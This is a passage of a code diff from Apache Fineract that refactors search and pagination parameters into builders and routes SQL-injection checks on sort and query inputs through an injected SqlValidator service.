public static boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
|
||||
public boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
|
||||
String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
|
||||
boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
String columnName = columnFilter.getColumn();
|
||||
@@ -221,9 +227,8 @@ public final class SearchUtil {
|
||||
return size > 0;
|
||||
}
|
||||
|
||||
public static void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator,
|
||||
List<Object> values, @NotNull StringBuilder where, @NotNull List<Object> params, String alias,
|
||||
@NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
public void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator, List<Object> values,
|
||||
@NotNull StringBuilder where, @NotNull List<Object> params, String alias, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
int paramCount = values == null ? 0 : values.size();
|
||||
where.append(operator.formatPlaceholder(sqlGenerator, definition, paramCount, alias));
|
||||
if (values != null) {
|
||||
@@ -231,13 +236,13 @@ public final class SearchUtil {
|
||||
}
|
||||
}
|
||||
|
||||
public static Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
|
||||
public Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
|
||||
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
return columnHeader.getColumnType().toJdbcValue(sqlGenerator.getDialect(),
|
||||
parseColumnValue(columnHeader, columnValue, dateFormat, dateTimeFormat, locale, strict, sqlGenerator), false);
|
||||
}
|
||||
|
||||
public static Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
|
||||
public Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
|
||||
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
JdbcJavaType colType = columnHeader.getColumnType();
|
||||
if (!colType.isStringType() || !columnHeader.isMandatory()) {
|
||||
@@ -254,7 +259,7 @@ public final class SearchUtil {
|
||||
return columnValue;
|
||||
}
|
||||
if (strict) {
|
||||
SQLInjectionValidator.validateDynamicQuery(columnValue);
|
||||
sqlValidator.validate(columnValue);
|
||||
}
|
||||
|
||||
if (columnHeader.hasColumnValues()) {
|
||||
@@ -314,7 +319,7 @@ public final class SearchUtil {
|
||||
return columnValue;
|
||||
}
|
||||
|
||||
public static String camelToSnake(final String camelStr) {
|
||||
public String camelToSnake(final String camelStr) {
|
||||
return camelStr == null ? null
|
||||
: camelStr.replaceAll("([A-Z]+)([A-Z][a-z])", "$1_$2").replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase();
|
||||
}
|
||||
|
||||
+7
-3
@@ -67,6 +67,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
|
||||
import org.glassfish.jersey.media.multipart.FormDataParam;
|
||||
import org.springframework.stereotype.Component;
|
||||
@@ -92,6 +93,7 @@ public class JournalEntriesApiResource {
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -147,8 +149,10 @@ public class JournalEntriesApiResource {
|
||||
submittedOnDateTo = submittedOnDateToParam.getDate("submittedOnDateTo", dateFormat, locale);
|
||||
}
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
|
||||
savingsId);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).loanId(loanId).savingsId(savingsId).build();
|
||||
JournalEntryAssociationParametersData associationParametersData = new JournalEntryAssociationParametersData(transactionDetails,
|
||||
runningBalance);
|
||||
|
||||
@@ -246,7 +250,7 @@ public class JournalEntriesApiResource {
|
||||
@QueryParam("entryId") final Long entryId, @Context final UriInfo uriInfo) {
|
||||
this.context.authenticatedUser();
|
||||
String transactionId = "P" + entryId;
|
||||
SearchParameters params = SearchParameters.forPagination(offset, limit);
|
||||
SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).build();
|
||||
Page<JournalEntryData> entries = this.journalEntryReadPlatformService.retrieveAll(params, null, null, null, null, null, null,
|
||||
transactionId, PortfolioProductType.PROVISIONING.getValue(), null);
|
||||
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
|
||||
+11
-16
@@ -264,7 +264,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
whereClose = " and ";
|
||||
}
|
||||
|
||||
if (searchParameters.isOfficeIdPassed()) {
|
||||
if (searchParameters.hasOfficeId()) {
|
||||
sqlBuilder.append(whereClose).append(" journalEntry.office_id = ?");
|
||||
objectArray[arrayPos] = searchParameters.getOfficeId();
|
||||
arrayPos = arrayPos + 1;
|
||||
@@ -272,7 +272,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
whereClose = " and ";
|
||||
}
|
||||
|
||||
if (searchParameters.isCurrencyCodePassed()) {
|
||||
if (searchParameters.hasCurrencyCode()) {
|
||||
sqlBuilder.append(whereClose).append(" journalEntry.currency_code = ?");
|
||||
objectArray[arrayPos] = searchParameters.getCurrencyCode();
|
||||
arrayPos = arrayPos + 1;
|
||||
@@ -339,7 +339,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLoanIdPassed()) {
|
||||
if (searchParameters.hasLoanId()) {
|
||||
sqlBuilder.append(whereClose)
|
||||
.append(" journalEntry.loan_transaction_id in (select id from m_loan_transaction where loan_id = ?)");
|
||||
objectArray[arrayPos] = searchParameters.getLoanId();
|
||||
@@ -347,18 +347,18 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
|
||||
whereClose = " and ";
|
||||
}
|
||||
if (searchParameters.isSavingsIdPassed()) {
|
||||
if (searchParameters.hasSavingsId()) {
|
||||
sqlBuilder.append(whereClose).append(
|
||||
" journalEntry.savings_transaction_id in (select id from m_savings_account_transaction where savings_account_id = ?)");
|
||||
objectArray[arrayPos] = searchParameters.getSavingsId();
|
||||
arrayPos = arrayPos + 1;
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
}
|
||||
@@ -366,9 +366,9 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
sqlBuilder.append(" order by journalEntry.entry_date, journalEntry.id");
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
@@ -502,10 +502,6 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
|
||||
private Page<JournalEntryData> retrieveContraTransactions(final Long officeId, final Long contraId, final String transactionId,
|
||||
final String currencyCode) {
|
||||
final Integer offset = 0;
|
||||
final Integer limit = null;
|
||||
final String orderBy = "journalEntry.id";
|
||||
final String sortOrder = "ASC";
|
||||
final Integer entityType = null;
|
||||
final Boolean onlyManualEntries = null;
|
||||
final LocalDate fromDate = null;
|
||||
@@ -513,11 +509,10 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
|
||||
final LocalDate submittedOnDateFrom = null;
|
||||
final LocalDate submittedOnDateTo = null;
|
||||
final JournalEntryAssociationParametersData associationParametersData = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
|
||||
savingsId, currencyCode);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).officeId(officeId).offset(0)
|
||||
.orderBy("journalEntry.id").sortOrder("ASC").currencyCode(currencyCode).build();
|
||||
|
||||
return retrieveAll(searchParameters, contraId, onlyManualEntries, fromDate, toDate, submittedOnDateFrom, submittedOnDateTo,
|
||||
transactionId, entityType, associationParametersData);
|
||||
|
||||
|
||||
@@ -31,7 +31,6 @@ import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
|
||||
import org.apache.fineract.infrastructure.core.api.JsonCommand;
|
||||
import org.apache.fineract.infrastructure.core.domain.AbstractAuditableCustom;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
@@ -68,10 +67,7 @@ public class AdHoc extends AbstractAuditableCustom {
|
||||
public static AdHoc fromJson(final JsonCommand command) {
|
||||
final String name = command.stringValueOfParameterNamed(AdHocJsonInputParams.NAME.getValue());
|
||||
|
||||
String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
|
||||
|
||||
SQLInjectionValidator.validateAdhocQuery(commandQuery);
|
||||
final String query = commandQuery;
|
||||
final String query = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
|
||||
final String tableName = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLENAME.getValue());
|
||||
final String tableFields = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLEFIELDS.getValue());
|
||||
final String email = command.stringValueOfParameterNamed(AdHocJsonInputParams.EMAIL.getValue());
|
||||
|
||||
+7
@@ -21,6 +21,7 @@ package org.apache.fineract.adhocquery.service;
|
||||
import java.util.Map;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
|
||||
import org.apache.fineract.adhocquery.domain.AdHoc;
|
||||
import org.apache.fineract.adhocquery.domain.AdHocRepository;
|
||||
import org.apache.fineract.adhocquery.exception.AdHocNotFoundException;
|
||||
@@ -30,6 +31,7 @@ import org.apache.fineract.infrastructure.core.data.CommandProcessingResultBuild
|
||||
import org.apache.fineract.infrastructure.core.exception.ErrorHandler;
|
||||
import org.apache.fineract.infrastructure.core.exception.PlatformDataIntegrityException;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.dao.DataIntegrityViolationException;
|
||||
import org.springframework.dao.NonTransientDataAccessException;
|
||||
import org.springframework.orm.jpa.JpaSystemException;
|
||||
@@ -42,6 +44,7 @@ public class AdHocWritePlatformServiceJpaRepositoryImpl implements AdHocWritePla
|
||||
private final PlatformSecurityContext context;
|
||||
private final AdHocRepository adHocRepository;
|
||||
private final AdHocDataValidator adHocCommandFromApiJsonDeserializer;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@Transactional
|
||||
@Override
|
||||
@@ -52,6 +55,10 @@ public class AdHocWritePlatformServiceJpaRepositoryImpl implements AdHocWritePla
|
||||
|
||||
this.adHocCommandFromApiJsonDeserializer.validateForCreate(command.json());
|
||||
|
||||
String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
|
||||
|
||||
sqlValidator.validate("adhoc", commandQuery);
|
||||
|
||||
final AdHoc entity = AdHoc.fromJson(command);
|
||||
this.adHocRepository.saveAndFlush(entity);
|
||||
|
||||
|
||||
+3
-2
@@ -26,6 +26,7 @@ import org.apache.fineract.adhocquery.service.AdHocWritePlatformService;
|
||||
import org.apache.fineract.adhocquery.service.AdHocWritePlatformServiceJpaRepositoryImpl;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
@@ -51,8 +52,8 @@ public class AdhocQueryConfiguration {
|
||||
@Bean
|
||||
@ConditionalOnMissingBean(AdHocWritePlatformService.class)
|
||||
public AdHocWritePlatformService adHocWritePlatformService(PlatformSecurityContext context, AdHocRepository adHocRepository,
|
||||
AdHocDataValidator adHocCommandFromApiJsonDeserializer) {
|
||||
return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer) {
|
||||
AdHocDataValidator adHocCommandFromApiJsonDeserializer, SqlValidator sqlValidator) {
|
||||
return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer, sqlValidator) {
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
+6
-1
@@ -49,6 +49,7 @@ import org.apache.fineract.infrastructure.core.serialization.ApiRequestJsonSeria
|
||||
import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSerializer;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLBuilder;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@@ -73,6 +74,7 @@ public class AuditsApiResource {
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final DefaultToApiJsonSerializer<AuditData> toApiJsonSerializer;
|
||||
private final DefaultToApiJsonSerializer<AuditSearchData> toApiJsonSerializerSearchTemplate;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -106,7 +108,10 @@ public class AuditsApiResource {
|
||||
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final SQLBuilder extraCriteria = getExtraCriteria(actionName, entityName, resourceId, makerId, makerDateTimeFrom, makerDateTimeTo,
|
||||
checkerId, checkerDateTimeFrom, checkerDateTimeTo, processingResult, officeId, groupId, clientId, loanId, savingsAccountId);
|
||||
|
||||
|
||||
+3
-3
@@ -168,7 +168,7 @@ public class AuditReadPlatformServiceImpl implements AuditReadPlatformService {
|
||||
|
||||
@Override
|
||||
public Collection<AuditData> retrieveAuditEntries(final SQLBuilder extraCriteria, final boolean includeJson) {
|
||||
return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.getCheckedLimit(null),
|
||||
return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.DEFAULT_MAX_LIMIT,
|
||||
includeJson);
|
||||
}
|
||||
|
||||
@@ -185,14 +185,14 @@ public class AuditReadPlatformServiceImpl implements AuditReadPlatformService {
|
||||
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
|
||||
sqlBuilder.append(rm.schema(includeJson, hierarchy));
|
||||
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
|
||||
if (parameters.isOrderByRequested()) {
|
||||
if (parameters.hasOrderBy()) {
|
||||
sqlBuilder.append(' ').append(parameters.orderBySql());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
|
||||
} else {
|
||||
sqlBuilder.append(' ').append(' ').append(" order by aud.id DESC");
|
||||
}
|
||||
|
||||
if (parameters.isLimited()) {
|
||||
if (parameters.hasLimit()) {
|
||||
sqlBuilder.append(' ').append(parameters.limitSql());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
|
||||
}
|
||||
|
||||
+5
-5
@@ -272,7 +272,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
|
||||
if (officeId == null) {
|
||||
Boolean includeAllOffices = Boolean.TRUE;
|
||||
offices = (List) this.officeReadPlatformService.retrieveAllOffices(includeAllOffices,
|
||||
new SearchParameters(null, null, null, null, null, null, null, null, "id", "asc", null, null, null, null, null, null));
|
||||
SearchParameters.builder().orderBy("id").sortOrder("asc").build());
|
||||
} else {
|
||||
offices = new ArrayList<>();
|
||||
offices.add(this.officeReadPlatformService.retrieveOffice(officeId));
|
||||
@@ -341,7 +341,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
|
||||
if (officeId == null) {
|
||||
centers = (List<CenterData>) this.centerReadPlatformService.retrieveAll(null, null);
|
||||
} else {
|
||||
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
|
||||
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
|
||||
centers = (List<CenterData>) centerReadPlatformService.retrieveAll(searchParameters, null);
|
||||
}
|
||||
|
||||
@@ -359,7 +359,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
|
||||
}
|
||||
}
|
||||
} else {
|
||||
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
|
||||
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
|
||||
Page<ClientData> clientDataPage = this.clientReadPlatformService.retrieveAll(searchParameters);
|
||||
if (clientDataPage != null) {
|
||||
clients = new ArrayList<>();
|
||||
@@ -420,7 +420,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
|
||||
if (officeId == null) {
|
||||
groups = (List<GroupGeneralData>) this.groupReadPlatformService.retrieveAll(null, null);
|
||||
} else {
|
||||
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
|
||||
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
|
||||
groups = (List<GroupGeneralData>) groupReadPlatformService.retrieveAll(searchParameters, null);
|
||||
}
|
||||
|
||||
@@ -448,7 +448,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
|
||||
if (officeId == null) {
|
||||
loanAccounts = loanReadPlatformService.retrieveAll(null).getPageItems();
|
||||
} else {
|
||||
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
|
||||
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
|
||||
loanAccounts = loanReadPlatformService.retrieveAll(searchParameters).getPageItems();
|
||||
}
|
||||
return loanAccounts;
|
||||
|
||||
+14
-3
@@ -48,6 +48,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Path("/v1/email")
|
||||
@@ -63,6 +64,7 @@ public class EmailApiResource {
|
||||
private final DefaultToApiJsonSerializer<EmailData> toApiJsonSerializer;
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
public String retrieveAllEmails(@Context final UriInfo uriInfo) {
|
||||
@@ -78,7 +80,10 @@ public class EmailApiResource {
|
||||
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
|
||||
|
||||
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
Collection<EmailData> emailMessages = readPlatformService.retrieveAllPending(searchParameters);
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
return toApiJsonSerializer.serialize(settings, emailMessages);
|
||||
@@ -91,7 +96,10 @@ public class EmailApiResource {
|
||||
|
||||
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
Collection<EmailData> emailMessages = readPlatformService.retrieveAllSent(searchParameters);
|
||||
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
@@ -131,7 +139,10 @@ public class EmailApiResource {
|
||||
|
||||
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
Collection<EmailData> emailMessages = readPlatformService.retrieveAllFailed(searchParameters);
|
||||
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
|
||||
+6
-1
@@ -58,6 +58,7 @@ import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Path("/v1/smscampaigns")
|
||||
@@ -74,6 +75,7 @@ public class SmsCampaignApiResource {
|
||||
private final DefaultToApiJsonSerializer<CampaignPreviewData> previewCampaignMessageDefaultToApiJsonSerializer;
|
||||
private final SmsCampaignWritePlatformService smsCampaignWritePlatformService;
|
||||
private final PlatformSecurityContext context;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
private static final String RESOURCE_NAME_FOR_PERMISSIONS = "SMS_CAMPAIGN";
|
||||
|
||||
@@ -142,7 +144,10 @@ public class SmsCampaignApiResource {
|
||||
public String retrieveAllEmails(@QueryParam("offset") final Integer offset, @QueryParam("limit") final Integer limit,
|
||||
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
|
||||
platformSecurityContext.authenticatedUser().validateHasReadPermission(SmsCampaignConstants.RESOURCE_NAME);
|
||||
final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
Page<SmsCampaignData> smsCampaignDataCollection = smsCampaignReadPlatformService.retrieveAll(searchParameters);
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
return toApiJsonSerializer.serialize(settings, smsCampaignDataCollection);
|
||||
|
||||
+2
-2
@@ -94,9 +94,9 @@ public class SmsCampaignReadPlatformServiceImpl implements SmsCampaignReadPlatfo
|
||||
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
|
||||
sqlBuilder.append(this.smsCampaignMapper.schema() + " where sc.is_visible = ? ");
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+1
-1
@@ -77,7 +77,7 @@ public class EntityDatatableChecksApiResource {
|
||||
@QueryParam("productId") @Parameter(description = "productId") final Long productId,
|
||||
@QueryParam("offset") @Parameter(description = "offset") final Integer offset,
|
||||
@QueryParam("limit") @Parameter(description = "limit") final Integer limit) {
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
|
||||
final Page<EntityDataTableChecksData> result = this.readEntityDatatableChecksService.retrieveAll(searchParameters, status, entity,
|
||||
productId);
|
||||
|
||||
|
||||
+9
-4
@@ -24,7 +24,6 @@ import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
|
||||
@@ -34,17 +33,23 @@ import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.export.DatatableReportExportService;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.export.ResponseHolder;
|
||||
import org.apache.fineract.infrastructure.report.annotation.ReportService;
|
||||
import org.apache.fineract.infrastructure.report.service.ReportingProcessService;
|
||||
import org.apache.fineract.infrastructure.report.service.AbstractReportingProcessService;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Service;
|
||||
|
||||
@Service
|
||||
@ReportService(type = { "Table", "Chart", "SMS" })
|
||||
@RequiredArgsConstructor
|
||||
@Slf4j
|
||||
public class DatatableReportingProcessService implements ReportingProcessService {
|
||||
public class DatatableReportingProcessService extends AbstractReportingProcessService {
|
||||
|
||||
private final List<DatatableReportExportService> exportServices;
|
||||
|
||||
public DatatableReportingProcessService(List<DatatableReportExportService> exportServices, SqlValidator sqlValidator) {
|
||||
super(sqlValidator);
|
||||
|
||||
this.exportServices = exportServices;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Response processRequest(String reportName, MultivaluedMap<String, String> queryParams) {
|
||||
boolean isSelfServiceUserReport = Boolean.parseBoolean(
|
||||
|
||||
+2
-2
@@ -109,9 +109,9 @@ public class EntityDatatableChecksReadPlatformServiceImpl implements EntityDatat
|
||||
paramList.add(productId);
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+33
-31
@@ -108,8 +108,8 @@ import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoun
|
||||
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableSystemErrorException;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
import org.apache.fineract.portfolio.search.data.AdvancedQueryData;
|
||||
